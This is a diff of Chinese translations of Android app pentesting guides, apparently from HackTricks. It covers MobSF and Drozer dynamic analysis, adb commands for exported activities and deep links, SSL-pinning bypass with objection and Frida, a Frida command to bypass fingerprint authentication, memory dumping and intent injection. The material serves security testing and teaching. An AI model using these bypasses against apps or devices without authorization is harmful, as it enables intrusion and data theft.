> 我建议使用 MobSF 动态分析 + pidcat 进行此初步动态分析，这样我们就可以在 MobSF **捕获**大量**有趣的**数据时**了解应用程序的工作原理**，您可以稍后查看这些数据。
|
||||
|
||||
### 意外数据泄露
|
||||
|
||||
**日志记录**
|
||||
|
||||
开发人员应谨慎公开**调试信息**，因为这可能导致敏感数据泄露。建议使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 监控应用程序日志，以识别和保护敏感信息。**Pidcat**因其易用性和可读性而受到青睐。
|
||||
开发者应谨慎公开**调试信息**，因为这可能导致敏感数据泄露。建议使用工具 [**pidcat**](https://github.com/JakeWharton/pidcat) 和 `adb logcat` 监控应用程序日志，以识别和保护敏感信息。**Pidcat**因其易用性和可读性而受到青睐。
|
||||
|
||||
> [!WARNING]
|
||||
> 请注意，从**Android 4.0 及更高版本**开始，**应用程序只能访问自己的日志**。因此，应用程序无法访问其他应用的日志。\
|
||||
@ -278,32 +278,32 @@ Android 的**基于剪贴板**的框架使应用程序能够实现复制粘贴
|
||||
|
||||
**崩溃日志**
|
||||
|
||||
如果应用程序**崩溃**并**保存日志**，这些日志可能会帮助攻击者，特别是当应用程序无法被反向工程时。为了降低此风险，避免在崩溃时记录日志，如果必须通过网络传输日志，请确保通过 SSL 通道发送以确保安全。
|
||||
如果应用程序**崩溃**并**保存日志**，这些日志可能会帮助攻击者，特别是当应用程序无法被反向工程时。为了降低这种风险，避免在崩溃时记录日志，如果必须通过网络传输日志，请确保通过 SSL 通道发送以确保安全。
|
||||
|
||||
作为渗透测试者，**请尝试查看这些日志**。
|
||||
|
||||
**发送给第三方的分析数据**
|
||||
|
||||
应用程序通常集成像 Google Adsense 这样的服务，由于开发人员的不当实现，可能会无意中**泄露敏感数据**。为了识别潜在的数据泄露，建议**拦截应用程序的流量**并检查是否有任何敏感信息被发送到第三方服务。
|
||||
应用程序通常集成像 Google Adsense 这样的服务，由于开发者的不当实现，可能会无意中**泄露敏感数据**。为了识别潜在的数据泄露，建议**拦截应用程序的流量**并检查是否有任何敏感信息被发送到第三方服务。
|
||||
|
||||
### SQLite 数据库
|
||||
|
||||
大多数应用程序将使用**内部 SQLite 数据库**来保存信息。在渗透测试期间，请**查看**创建的**数据库**、**表**和**列**的名称以及所有保存的**数据**，因为您可能会发现**敏感信息**（这将是一个漏洞）。\
|
||||
数据库应位于 `/data/data/the.package.name/databases`，例如 `/data/data/com.mwr.example.sieve/databases`
|
||||
数据库应位于 `/data/data/the.package.name/databases`，如 `/data/data/com.mwr.example.sieve/databases`
|
||||
|
||||
如果数据库保存机密信息并且是**加密的**但您可以在应用程序中**找到**密码，这仍然是一个**漏洞**。
|
||||
如果数据库保存机密信息并且是**加密的**，但您可以在应用程序中**找到**密码，这仍然是一个**漏洞**。
|
||||
|
||||
使用 `.tables` 枚举表，使用 `.schema <table_name>` 枚举表的列。
|
||||
|
||||
### Drozer（利用活动、内容提供者和服务）
|
||||
|
||||
来自 [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)：**Drozer** 允许您**假装成一个 Android 应用程序**并与其他应用程序交互。它可以做**任何已安装应用程序可以做的事情**，例如利用 Android 的进程间通信（IPC）机制并与底层操作系统交互。\
|
||||
Drozer 是一个有用的工具，可以**利用导出活动、导出服务和内容提供者**，您将在以下部分中学习。
|
||||
来自 [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)：**Drozer** 允许您**假设 Android 应用程序的角色**并与其他应用程序交互。它可以做**任何已安装应用程序可以做的事情**，例如利用 Android 的进程间通信（IPC）机制并与底层操作系统交互。\
|
||||
Drozer 是一个有用的工具，可以**利用导出活动、导出服务和内容提供者**，正如您将在以下部分中学习的那样。
|
||||
|
||||
### 利用导出活动
|
||||
|
||||
[**如果您想刷新 Android 活动的概念，请阅读此文。**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
还要记住，活动的代码从**`onCreate`**方法开始。
|
||||
还要记住，活动的代码从**`onCreate`** 方法开始。
|
||||
|
||||
**授权绕过**
|
||||
|
||||
@ -329,18 +329,18 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
#### Tapjacking
|
||||
|
||||
如果未防止 tapjacking，你可能会滥用导出的活动使 **用户执行意外操作**。有关 [**tapjacking 的更多信息，请查看链接**](#tapjacking)。
|
||||
如果没有防止 tapjacking，你可能会滥用导出的活动使 **用户执行意外操作**。有关 [**tapjacking 的更多信息，请查看链接**](#tapjacking)。
|
||||
|
||||
### 利用内容提供者 - 访问和操纵敏感信息
|
||||
|
||||
[**如果你想刷新内容提供者的概念，请阅读此内容。**](android-applications-basics.md#content-provider)\
|
||||
[**如果你想刷新内容提供者是什么，请阅读此内容。**](android-applications-basics.md#content-provider)\
|
||||
内容提供者基本上用于 **共享数据**。如果一个应用程序有可用的内容提供者，你可能能够 **提取敏感** 数据。测试可能的 **SQL 注入** 和 **路径遍历** 也很有趣，因为它们可能存在漏洞。
|
||||
|
||||
[**学习如何使用 Drozer 利用内容提供者。**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
### **利用服务**
|
||||
|
||||
[**如果你想刷新服务的概念，请阅读此内容。**](android-applications-basics.md#services)\
|
||||
[**如果你想刷新服务是什么，请阅读此内容。**](android-applications-basics.md#services)\
|
||||
请记住，服务的操作始于方法 `onStartCommand`。
|
||||
|
||||
服务基本上是可以 **接收数据**、**处理** 数据并 **返回**（或不返回）响应的东西。因此，如果一个应用程序导出了一些服务，你应该 **检查** 其 **代码** 以了解其功能，并 **动态测试** 以提取机密信息、绕过身份验证措施...\
|
||||
@ -348,7 +348,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
|
||||
### **利用广播接收器**
|
||||
|
||||
[**如果你想刷新广播接收器的概念，请阅读此内容。**](android-applications-basics.md#broadcast-receivers)\
|
||||
[**如果你想刷新广播接收器是什么，请阅读此内容。**](android-applications-basics.md#broadcast-receivers)\
|
||||
请记住，广播接收器的操作始于方法 `onReceive`。
|
||||
|
||||
广播接收器将等待某种类型的消息。根据接收器如何处理消息，它可能会存在漏洞。\
|
||||
@ -362,7 +362,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_请注意，您可以**省略包名**，手机将自动调用应该打开该链接的应用程序。_
|
||||
```markup
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
@ -411,7 +411,7 @@ SSL 钉扎是一种安全措施，应用程序将服务器的证书与存储在
|
||||
|
||||
当实施 SSL 钉扎时，绕过它成为检查 HTTPS 流量的必要条件。为此有多种方法可用：
|
||||
|
||||
- 自动**修改** **apk**以**绕过** SSLPinning，使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是您无需 root 即可绕过 SSL 钉扎，但您需要删除应用程序并重新安装新版本，这并不总是有效。
|
||||
- 自动**修改** **apk**以**绕过** SSLPinning，使用[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)。此选项的最大优点是，您无需 root 权限即可绕过 SSL 钉扎，但您需要删除应用程序并重新安装新版本，这并不总是有效。
|
||||
- 您可以使用**Frida**（下面讨论）来绕过此保护。这里有一个使用 Burp+Frida+Genymotion 的指南：[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- 您还可以尝试使用[**objection**](frida-tutorial/objection-tutorial.md)**自动绕过 SSL 钉扎**：`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- 您还可以尝试使用**MobSF 动态分析**（下面解释）**自动绕过 SSL 钉扎**
|
||||
@ -435,7 +435,7 @@ SSL 钉扎是一种安全措施，应用程序将服务器的证书与存储在
|
||||
|
||||
### **内存转储 - Fridump**
|
||||
|
||||
检查应用程序是否在内存中存储不应存储的敏感信息，如密码或助记符。
|
||||
检查应用程序是否在内存中存储不应存储的敏感信息，例如密码或助记符。
|
||||
|
||||
使用[**Fridump3**](https://github.com/rootbsd/fridump3)，您可以转储应用程序的内存：
|
||||
```bash
|
||||
@ -462,7 +462,7 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **指纹/生物识别绕过**
|
||||
|
||||
使用以下 Frida 脚本，可能可以 **绕过指纹认证**，Android 应用程序可能会执行此操作以 **保护某些敏感区域：**
|
||||
使用以下 Frida 脚本，可以 **绕过指纹认证**，Android 应用可能会执行此操作以 **保护某些敏感区域：**
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
@ -474,7 +474,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
||||
|
||||
快照通常存储在： **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止屏幕截图的捕获。使用此标志后，窗口内容被视为安全，防止其出现在屏幕截图中或在不安全的显示器上查看。
|
||||
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止截图捕获。使用此标志，窗口内容被视为安全，防止其出现在截图中或在不安全的显示器上查看。
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -482,26 +482,26 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
此工具可以帮助您在动态分析过程中管理不同的工具：[https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||
|
||||
### 意图注入
|
||||
### Intent 注入
|
||||
|
||||
开发人员经常创建代理组件，如活动、服务和广播接收器，处理这些意图并将其传递给 `startActivity(...)` 或 `sendBroadcast(...)` 等方法，这可能存在风险。
|
||||
开发人员经常创建代理组件，如活动、服务和广播接收器，这些组件处理这些 Intents 并将其传递给 `startActivity(...)` 或 `sendBroadcast(...)` 等方法，这可能存在风险。
|
||||
|
||||
危险在于允许攻击者通过错误引导这些意图来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象，然后执行它们，这可能导致恶意意图注入。
|
||||
危险在于允许攻击者通过错误引导这些 Intents 来触发未导出的应用组件或访问敏感内容提供者。一个显著的例子是 `WebView` 组件通过 `Intent.parseUri(...)` 将 URL 转换为 `Intent` 对象，然后执行它们，这可能导致恶意 Intent 注入。
|
||||
|
||||
### 重要要点
|
||||
|
||||
- **意图注入** 类似于网络的开放重定向问题。
|
||||
- 利用涉及将 `Intent` 对象作为附加项传递，这可能被重定向以执行不安全的操作。
|
||||
- 它可以将未导出的组件和内容提供者暴露给攻击者。
|
||||
- `WebView` 的 URL 到 `Intent` 转换可以促进意外操作。
|
||||
- **Intent 注入** 类似于网络的开放重定向问题。
|
||||
- 利用涉及将 `Intent` 对象作为额外参数传递，这可能被重定向以执行不安全的操作。
|
||||
- 它可能会将未导出的组件和内容提供者暴露给攻击者。
|
||||
- `WebView` 的 URL 到 `Intent` 的转换可能会促进意外操作。
|
||||
|
||||
### Android 客户端侧注入及其他
|
||||
|
||||
您可能对这种类型的漏洞有所了解。您必须特别小心 Android 应用中的这些漏洞：
|
||||
|
||||
- **SQL 注入：** 在处理动态查询或内容提供者时，确保使用参数化查询。
|
||||
- **JavaScript 注入 (XSS)：** 验证任何 WebViews 的 JavaScript 和插件支持是否已禁用（默认禁用）。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
|
||||
- **本地文件包含：** WebViews 应禁用对文件系统的访问（默认启用） - `(webview.getSettings().setAllowFileAccess(false);)`。 [更多信息在这里](webview-attacks.md#javascript-enabled)。
|
||||
- **JavaScript 注入 (XSS)：** 验证任何 WebViews 的 JavaScript 和插件支持是否已禁用（默认禁用）。 [更多信息请查看](webview-attacks.md#javascript-enabled)。
|
||||
- **本地文件包含：** WebViews 应禁用对文件系统的访问（默认启用） - `(webview.getSettings().setAllowFileAccess(false);)`。 [更多信息请查看](webview-attacks.md#javascript-enabled)。
|
||||
- **持久性 Cookie：** 在多个情况下，当 Android 应用结束会话时，Cookie 并未被撤销，甚至可能被保存到磁盘。
|
||||
- [**Cookie 中的安全标志**](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
|
||||
|
||||
@ -541,7 +541,7 @@ MobSF 还允许您进行 **diff/比较** 分析，并集成 **VirusTotal**（您
|
||||
默认情况下，它还将使用一些 Frida 脚本来 **绕过 SSL 钉扎**、**根检测** 和 **调试器检测**，并 **监控有趣的 API**。\
|
||||
MobSF 还可以 **调用导出活动**，抓取它们的 **屏幕截图** 并 **保存** 到报告中。
|
||||
|
||||
要 **开始** 动态测试，请按绿色按钮：“**开始仪器化**”。按下“**Frida 实时日志**”以查看 Frida 脚本生成的日志，按下“**实时 API 监视器**”以查看所有调用的挂钩方法、传递的参数和返回值（在按下“开始仪器化”后会出现）。\
|
||||
要 **开始** 动态测试，请按绿色按钮：“**开始仪器化**”。按下“**Frida 实时日志**”以查看 Frida 脚本生成的日志，按下“**实时 API 监视器**”以查看所有调用的挂钩方法、传递的参数和返回值（在按下“开始仪器化”后将出现）。\
|
||||
MobSF 还允许您加载自己的 **Frida 脚本**（要将您的 Frida 脚本的结果发送到 MobSF，请使用 `send()` 函数）。它还具有 **多个预编写的脚本**，您可以加载（您可以在 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` 中添加更多），只需 **选择它们**，按“**加载**”并按“**开始仪器化**”（您将能够在“**Frida 实时日志**”中看到该脚本的日志）。
|
||||
|
||||
.png>)
|
||||
@ -570,8 +570,8 @@ receivers
|
||||
```
|
||||
**HTTP工具**
|
||||
|
||||
当http流量被捕获时，您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图，或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中，您可以**发送****捕获的请求**到像Burp或Owasp ZAP这样的**代理**。\
|
||||
为此，_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按下“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||
当http流量被捕获时，您可以在“**HTTP(S) Traffic**”底部看到捕获流量的丑陋视图，或在“**Start HTTPTools**”绿色按钮中看到更好的视图。从第二个选项中，您可以**发送**捕获的**请求**到像Burp或Owasp ZAP这样的**代理**。\
|
||||
要做到这一点，_打开Burp -->_ _关闭拦截 --> 在MobSB HTTPTools中选择请求_ --> 按“**Send to Fuzzer**” --> _选择代理地址_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||
|
||||
完成MobSF的动态分析后，您可以按“**Start Web API Fuzzer**”来**模糊http请求**并寻找漏洞。
|
||||
|
||||
@ -589,13 +589,13 @@ receivers
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
这是一个**用于执行带GUI的静态分析的好工具**
|
||||
这是一个**用于执行静态分析的优秀工具，带有GUI**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
该工具旨在查找多个**与安全相关的Android应用程序漏洞**，无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**，以利用一些发现的漏洞（暴露的活动、意图、点击劫持...）。与Drozer一样，测试设备无需root。
|
||||
该工具旨在查找多个**与安全相关的Android应用程序漏洞**，无论是在**源代码**还是**打包的APK**中。该工具还**能够创建可部署的“概念验证”APK**和**ADB命令**，以利用一些发现的漏洞（暴露的活动、意图、tapjacking...）。与Drozer一样，测试设备无需root。
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -617,9 +617,9 @@ reverse-apk relative/path/to/APP.apk
|
||||
|
||||
SUPER 是一个可以在 Windows、MacOS X 和 Linux 上使用的命令行应用程序，旨在分析 _.apk_ 文件以寻找漏洞。它通过解压 APK 并应用一系列规则来检测这些漏洞。
|
||||
|
||||
所有规则都集中在一个 `rules.json` 文件中，每个公司或测试人员都可以创建自己的规则来分析他们所需的内容。
|
||||
所有规则都集中在一个 `rules.json` 文件中，每个公司或测试人员都可以创建自己的规则来分析他们需要的内容。
|
||||
|
||||
从 [download page](https://superanalyzer.rocks/download.html) 下载最新的二进制文件。
|
||||
从 [下载页面](https://superanalyzer.rocks/download.html) 下载最新的二进制文件。
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
@ -686,13 +686,13 @@ ProGuard 作为 Android SDK 的一部分分发，并在以发布模式构建应
|
||||
|
||||
在 [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) 找到去混淆 APK 的逐步指南。
|
||||
|
||||
（来自该指南）上次我们检查时，Dexguard 的操作模式是：
|
||||
（来自该指南）我们上次检查时，Dexguard 的操作模式是：
|
||||
|
||||
- 将资源加载为 InputStream；
|
||||
- 将结果传递给继承自 FilterInputStream 的类以进行解密；
|
||||
- 进行一些无用的混淆，以浪费反向工程师几分钟的时间；
|
||||
- 将解密后的结果传递给 ZipInputStream 以获取 DEX 文件；
|
||||
- 最后使用 `loadDex` 方法将结果 DEX 加载为资源。
|
||||
- 最后使用 `loadDex` 方法将结果 DEX 作为资源加载。
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
|
||||
@ -706,11 +706,11 @@ ProGuard 作为 Android SDK 的一部分分发，并在以发布模式构建应
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为，然后 **尝试优化代码** 使其行为相同，但更易于人类理解。每种优化类型都是简单和通用的，因此无论使用何种特定类型的混淆都无关紧要。
|
||||
它是一个 **通用的 Android 去混淆器。** Simplify **虚拟执行应用程序** 以理解其行为，然后 **尝试优化代码** 使其表现相同，但更易于人类理解。每种优化类型都是简单和通用的，因此无论使用何种特定类型的混淆都无关紧要。
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
APKiD 提供有关 **APK 是如何制作的** 信息。它识别许多 **编译器**、**打包工具**、**混淆器** 和其他奇怪的东西。它是 Android 的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。
|
||||
APKiD 提供有关 **APK 是如何制作的** 信息。它识别许多 **编译器**、**打包器**、**混淆器** 和其他奇怪的东西。它是 Android 的 [_PEiD_](https://www.aldeid.com/wiki/PEiD)。
|
||||
|
||||
### 手动
|
||||
|
||||
|
||||
@ -28,14 +28,14 @@
|
||||
当你安装一个**应用程序并请求权限**时，该应用程序是在请求**AndroidManifest.xml**文件中配置的**`uses-permission`**元素中的权限。**uses-permission**元素在**name**属性中指示请求的权限名称。它还有**maxSdkVersion**属性，该属性在版本高于指定版本时停止请求权限。\
|
||||
请注意，Android应用程序不需要在开始时请求所有权限，它们也可以**动态请求权限**，但所有权限必须在**清单**中**声明**。
|
||||
|
||||
当应用程序暴露功能时，它可以限制**仅允许具有指定权限的应用程序访问**。\
|
||||
当一个应用程序暴露功能时，它可以限制**仅允许具有指定权限的应用程序访问**。\
|
||||
权限元素有三个属性：
|
||||
|
||||
- 权限的**名称**
|
||||
- **permission-group**属性，允许对相关权限进行分组。
|
||||
- **protection-level**，指示权限的授予方式。共有四种类型：
|
||||
- **Normal**：用于**没有已知威胁**的应用程序。用户**不需要批准**。
|
||||
- **Dangerous**：指示权限授予请求应用程序某些**提升的访问权限**。**用户被要求批准**。
|
||||
- **Normal**：用于当应用程序**没有已知威胁**时。用户**不需要批准**它。
|
||||
- **Dangerous**：指示权限授予请求应用程序某些**提升的访问权限**。**用户被要求批准它们**。
|
||||
- **Signature**：只有**由与导出组件相同证书签名的应用程序**才能获得权限。这是最强的保护类型。
|
||||
- **SignatureOrSystem**：只有**由与导出组件相同证书签名的应用程序**或**以系统级访问权限运行的应用程序**才能获得权限。
|
||||
|
||||
@ -50,7 +50,7 @@
|
||||
## Rooting
|
||||
|
||||
为了获得对物理Android设备的root访问权限，通常需要**利用**1或2个**漏洞**，这些漏洞通常是**特定**于**设备**和**版本**的。\
|
||||
一旦漏洞成功，通常会将Linux `su` 二进制文件复制到用户的PATH环境变量中指定的位置，如`/system/xbin`。
|
||||
一旦漏洞成功利用，通常会将Linux `su` 二进制文件复制到用户的PATH环境变量中指定的位置，如`/system/xbin`。
|
||||
|
||||
一旦配置了su二进制文件，另一个Android应用程序将用于与`su`二进制文件接口并**处理root访问请求**，如**Superuser**和**SuperSU**（在Google Play商店中可用）。
|
||||
|
||||
@ -66,7 +66,7 @@
|
||||
|
||||
### Implications
|
||||
|
||||
一旦设备被root，任何应用程序都可以请求root访问。如果恶意应用程序获得了它，它几乎可以访问所有内容，并能够损坏手机。
|
||||
一旦设备被root，任何应用程序都可以请求root访问。如果恶意应用程序获得了它，它将几乎可以访问所有内容，并能够损坏手机。
|
||||
|
||||
## Android Application Fundamentals <a href="#2-android-application-fundamentals" id="2-android-application-fundamentals"></a>
|
||||
|
||||
@ -95,7 +95,7 @@
|
||||
|
||||
在Android开发中，**Java或Kotlin**用于创建应用程序。与桌面应用程序使用JVM不同，Android将此代码编译为**Dalvik可执行文件（DEX字节码）**。早期，Dalvik虚拟机处理此字节码，但现在，在较新版本的Android中，Android Runtime（ART）接管。
|
||||
|
||||
对于逆向工程，**Smali**变得至关重要。它是DEX字节码的人类可读版本，像汇编语言一样通过将源代码转换为字节码指令。Smali和baksmali在此上下文中指代汇编和反汇编工具。
|
||||
对于逆向工程，**Smali**变得至关重要。它是DEX字节码的人类可读版本，像汇编语言一样通过将源代码转换为字节码指令。Smali和baksmali在此上下文中指的是汇编和反汇编工具。
|
||||
|
||||
## Intents
|
||||
|
||||
@ -114,11 +114,11 @@ Intents是Android应用程序在其组件之间或与其他应用程序之间通
|
||||
|
||||
### Intent-Filter
|
||||
|
||||
**Intent Filters**定义**活动、服务或广播接收器如何与不同类型的Intents交互**。本质上，它们描述了这些组件的能力，例如它们可以执行的操作或可以处理的广播类型。声明这些过滤器的主要位置是在**AndroidManifest.xml文件**中，尽管对于广播接收器，编码它们也是一个选项。
|
||||
**Intent过滤器**定义**活动、服务或广播接收器如何与不同类型的Intents交互**。本质上，它们描述了这些组件的能力，例如它们可以执行的操作或可以处理的广播类型。声明这些过滤器的主要位置是在**AndroidManifest.xml文件**中，尽管对于广播接收器，编码它们也是一个选项。
|
||||
|
||||
Intent Filters由类别、操作和数据过滤器组成，并可以包含附加元数据。此设置允许组件处理与声明的标准匹配的特定Intents。
|
||||
Intent过滤器由类别、操作和数据过滤器组成，并可以包含附加元数据。此设置允许组件处理与声明的标准匹配的特定Intents。
|
||||
|
||||
Android组件（活动/服务/内容提供者/广播接收器）的一个关键方面是它们的可见性或**公共状态**。如果组件的**`exported`**值为**`true`**，或者在清单中声明了Intent Filter，则该组件被视为公共的，可以与其他应用程序交互。然而，开发人员可以明确将这些组件保持私有，以确保它们不会与其他应用程序意外交互。这是通过在其清单定义中将**`exported`**属性设置为**`false`**来实现的。
|
||||
Android组件（活动/服务/内容提供者/广播接收器）的一个关键方面是它们的可见性或**公共状态**。如果组件的**`exported`**值为**`true`**，或者在清单中声明了Intent过滤器，则该组件被视为公共的，可以与其他应用程序交互。然而，开发人员可以明确将这些组件保持私有，以确保它们不会与其他应用程序意外交互。这是通过在其清单定义中将**`exported`**属性设置为**`false`**来实现的。
|
||||
|
||||
此外，开发人员还有选择进一步保护对这些组件的访问的选项，要求特定权限。**`permission`**属性可以设置为强制要求只有具有指定权限的应用程序才能访问该组件，从而增加了安全性和对谁可以与其交互的控制。
|
||||
```java
|
||||
@ -132,9 +132,9 @@ Android组件（活动/服务/内容提供者/广播接收器）的一个关键
|
||||
```java
|
||||
Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
该**Action**为先前声明的意图的**ACTION_SEND**，**Extra**是一个mailto **Uri**（Extra是意图所期望的额外信息）。
|
||||
该意图的 **Action** 是 **ACTION_SEND**，**Extra** 是一个 mailto **Uri**（Extra 是意图所期望的额外信息）。
|
||||
|
||||
此意图应在清单中声明，如以下示例所示：
|
||||
该意图应在清单中声明，如以下示例所示：
|
||||
```xml
|
||||
<activity android:name="ShareActivity">
|
||||
<intent-filter>
|
||||
@ -145,7 +145,7 @@ Intent email = new Intent(Intent.ACTION_SEND, Uri.parse("mailto:"));
|
||||
```
|
||||
一个 intent-filter 需要匹配 **action**、**data** 和 **category** 才能接收消息。
|
||||
|
||||
“Intent 解析”过程决定了哪个应用程序应该接收每个消息。该过程考虑 **priority attribute**，可以在 **intent-filter 声明**中设置，**优先级更高的将被选择**。这个优先级可以设置在 -1000 到 1000 之间，应用程序可以使用 `SYSTEM_HIGH_PRIORITY` 值。如果出现 **冲突**，将出现一个“选择器”窗口，以便 **用户可以决定**。
|
||||
“Intent 解析”过程决定了哪个应用程序应该接收每个消息。这个过程考虑了 **priority attribute**，可以在 **intent-filter declaration** 中设置，**优先级更高的将被选择**。这个优先级可以设置在 -1000 到 1000 之间，应用程序可以使用 `SYSTEM_HIGH_PRIORITY` 值。如果出现 **冲突**，将出现一个“选择器”窗口，以便 **用户可以决定**。
|
||||
|
||||
### 显式 Intent
|
||||
|
||||
@ -161,15 +161,15 @@ context.startService(intent);
|
||||
```
|
||||
### Pending Intents
|
||||
|
||||
这些允许其他应用程序**代表您的应用程序采取行动**，使用您的应用程序的身份和权限。构造 Pending Intent 时，应该**指定一个意图和要执行的操作**。如果**声明的意图不是显式的**（没有声明哪个意图可以调用它），则**恶意应用程序可能会代表受害者应用程序执行声明的操作**。此外，**如果没有指定操作**，恶意应用程序将能够**代表受害者执行任何操作**。
|
||||
这些允许其他应用程序**代表您的应用程序采取行动**，使用您的应用程序的身份和权限。构造 Pending Intent 时，应该**指定一个意图和要执行的操作**。如果**声明的意图不是显式的**（没有声明哪个意图可以调用它），则**恶意应用程序可能会代表受害者应用程序执行声明的操作**。此外，**如果未指定操作**，恶意应用程序将能够**代表受害者执行任何操作**。
|
||||
|
||||
### Broadcast Intents
|
||||
|
||||
与之前的意图不同，后者仅由一个应用程序接收，广播意图**可以被多个应用程序接收**。然而，从 API 版本 14 开始，可以**使用 Intent.setPackage 指定应该接收**消息的应用程序。
|
||||
|
||||
另外，在发送广播时也可以**指定权限**。接收应用程序需要具有该权限。
|
||||
另外，在发送广播时也可以**指定权限**。接收应用程序需要拥有该权限。
|
||||
|
||||
广播有**两种类型**：**普通**（异步）和**有序**（同步）。**顺序**基于**接收器**元素中的**配置优先级**。**每个应用程序可以处理、转发或丢弃广播。**
|
||||
广播有**两种类型**：**正常**（异步）和**有序**（同步）。**顺序**基于**接收器元素中的配置优先级**。**每个应用程序可以处理、转发或丢弃广播。**
|
||||
|
||||
可以使用 `Context` 类中的函数 `sendBroadcast(intent, receiverPermission)` 来**发送**一个**广播**。\
|
||||
您还可以使用**`LocalBroadCastManager`**中的函数**`sendBroadcast`**，确保**消息永远不会离开应用程序**。使用此方法，您甚至不需要导出接收器组件。
|
||||
@ -233,10 +233,10 @@ android:host="example"
|
||||
|
||||
### 启动活动和其他活动
|
||||
|
||||
在Android应用中，**活动**就像屏幕，显示应用用户界面的不同部分。一个应用可以有许多活动，每个活动向用户呈现一个独特的屏幕。
|
||||
在Android应用中，**活动**就像屏幕，显示应用用户界面的不同部分。一个应用可以有多个活动，每个活动向用户呈现一个独特的屏幕。
|
||||
|
||||
**启动活动**是应用的主要入口，当您点击应用图标时启动。它在应用的清单文件中定义，具有特定的MAIN和LAUNCHER意图：
|
||||
```markup
|
||||
```html
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
@ -276,7 +276,7 @@ super.onCreate();
|
||||
|
||||
[Services](https://developer.android.com/guide/components/services) 是 **后台操作**，能够在没有用户界面的情况下执行任务。这些任务即使在用户切换到不同应用程序时也可以继续运行，使得服务对于 **长时间运行的操作** 至关重要。
|
||||
|
||||
服务是多功能的；它们可以通过多种方式启动，其中 **Intents** 是作为应用程序入口点启动它们的主要方法。一旦使用 `startService` 方法启动服务，其 `onStart` 方法就会启动并持续运行，直到显式调用 `stopService` 方法。或者，如果服务的角色依赖于活动的客户端连接，则使用 `bindService` 方法将客户端绑定到服务，激活 `onBind` 方法进行数据传递。
|
||||
服务是多功能的；它们可以通过多种方式启动，其中 **Intents** 是作为应用程序入口点启动它们的主要方法。一旦使用 `startService` 方法启动服务，其 `onStart` 方法就会启动并持续运行，直到显式调用 `stopService` 方法。或者，如果服务的角色依赖于活动的客户端连接，则使用 `bindService` 方法将客户端绑定到服务，激活 `onBind` 方法以进行数据传递。
|
||||
|
||||
服务的一个有趣应用包括后台音乐播放或网络数据获取，而不妨碍用户与应用的交互。此外，服务可以通过 **导出** 使其他进程在同一设备上可访问。这不是默认行为，需要在 Android Manifest 文件中进行显式配置：
|
||||
```xml
|
||||
@ -327,7 +327,7 @@ WebViews 就像是 Android 应用中的 **迷你网页浏览器**，从网络或
|
||||
|
||||
Android 提供了两种主要的 WebView 类型：
|
||||
|
||||
- **WebViewClient** 适合基本的 HTML，但不支持 JavaScript 警告功能，这影响了 XSS 攻击的测试方式。
|
||||
